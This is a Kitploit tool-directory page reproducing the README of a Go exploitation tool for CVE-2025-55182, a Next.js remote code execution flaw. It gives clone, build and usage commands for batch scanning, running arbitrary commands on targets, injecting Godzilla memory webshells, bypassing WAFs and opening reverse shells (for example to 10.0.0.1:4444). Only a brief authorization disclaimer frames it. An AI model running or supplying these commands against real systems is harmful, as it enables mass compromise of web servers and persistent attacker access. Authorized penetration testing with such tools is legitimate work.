Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-POC — Go-based scanner and exploitation tool for CVE-2025-55182 (Next.js RCE). Supports batch scanning, command execution, Godzilla memory shell injection, reverse shell, and WAF bypass. | Kitploit
Tools/GitHubGitHub/luoqichen/cve-2025-55182-poc
Vulnerability ScannersExploitationShellcodeWeb Application ExploitationWAF BypassPenetration TestingCommand and ControlPayload Development
GitHubluoqichen/cve-2025-55182-poc

CVE-2025-55182-POC

Go-based scanner and exploitation tool for CVE-2025-55182 (Next.js RCE). Supports batch scanning, command execution, Godzilla memory shell injection, reverse shell, and WAF bypass.

View Repository
56 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 Next.js RCE Scanner

License

CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality.

⚠️ This tool is intended for security research and authorized testing only. Do not use it for illegal purposes.

Features

  • Multi-target scanning: Supports single URL, file list (one URL per line), and directories containing multiple .txt files.
  • Multi-threaded concurrency: Customizable thread count for improved scanning efficiency.
  • Vulnerability verification: Verifies the existence of the vulnerability by computing the product of random numbers.
  • Command execution: Execute arbitrary system commands on the vulnerable target (supports Linux and Windows).
  • Godzilla memory shell injection: Generate Godzilla memory shell connection information with one click.
  • Reverse Shell: Supports reverse shell functionality.
  • Result saving: Automatically saves successfully exploited URLs and details to success.json, and optionally outputs vulnerability URLs to a specified file.
  • Proxy support: Configurable HTTP proxy for easy integration with tools like Burp Suite.
  • Progress display: Real-time display of scan progress, elapsed time, estimated remaining time, etc.

    • []

    Installation

    Prerequisites

    • Go 1.16 or later
    • Git

    Clone the Repository

    root@kitploit:~
    git clone https://github.com/luoqichen/CVE-2025-55182-POC.git
cd cve-2025-55182-POC

    Build

    root@kitploit:~
    go build -o cve-2025-55182 main.go

    Run

    root@kitploit:~
    ./cve-2025-55182 -h

    Usage

    Parameter Description

    ParameterTypeDefaultDescription
    -ustringNoneSingle target URL (e.g. http://example.com:3000)
    -fstringNoneFile containing a list of URLs (one per line)
    -dstringNoneDirectory containing multiple .txt files
    -ostringNoneOutput file (save vulnerability URLs, one per line)
    -tint10Number of concurrent threads
    -toint10Request timeout in seconds
    -cstringNoneCommand to execute (e.g. id)
    -mstringNoneMode: waf (enable WAF bypass)
    -pstringNoneHTTP proxy (e.g. http://127.0.0.1:8080)
    -gboolfalseEnable Godzilla memory shell injection
    -rsstringNoneReverse shell address (format IP:PORT)
    -dvboolfalseVerbose mode (print scan process for each URL)
    -esboolfalseSensitive information scanning mode

    Examples

    Scan a Single Target

    root@kitploit:~
    ./cve-2025-55182 -u http://target.com:3000

    Batch Scan Targets from a File

    root@kitploit:~
    ./cve-2025-55182 -f targets.txt -t 20 -o vuln.txt

    Execute a Command

    root@kitploit:~
    ./cve-2025-55182 -u http://target.com:3000 -c "whoami"

    Use Godzilla Memory Shell

    root@kitploit:~
    ./cve-2025-55182 -u http://target.com:3000 -g

    After successful injection, the tool outputs the Godzilla connection address, password, key, and request header information.

    Reverse Shell

    root@kitploit:~
    ./cve-2025-55182 -u http://target.com:3000 -rs 10.0.0.1:4444

    Enable Proxy

    root@kitploit:~
    ./cve-2025-55182 -f targets.txt -p http://127.0.0.1:8080 -t 10

    Output Description

    • success.json: Automatically saves detailed information of all successfully exploited targets (including command output, Godzilla configuration, etc.).
    • File specified by -o: Saves the list of vulnerability URLs (one per line).

    During scanning, the progress bar and discovered vulnerabilities are displayed in real time, and statistics are output at the end.

    Notes

    1. Ensure you have authorization: Scanning or attacking systems without permission is illegal.
    2. Proxy usage: If you need to inspect traffic via Burp Suite, use the -p parameter to set a proxy.
    3. Godzilla connection: After successful Godzilla injection, use the Godzilla client to connect. Note that both the password and key are randomly generated.
    4. Timeout settings: For targets with poor network conditions, you can increase the -to parameter value appropriately.

    Disclaimer

    This tool is intended only for security research and authorized testing. Users must assume all legal responsibilities. The developer is not responsible for any misuse.

    License

    MIT

    Download Tool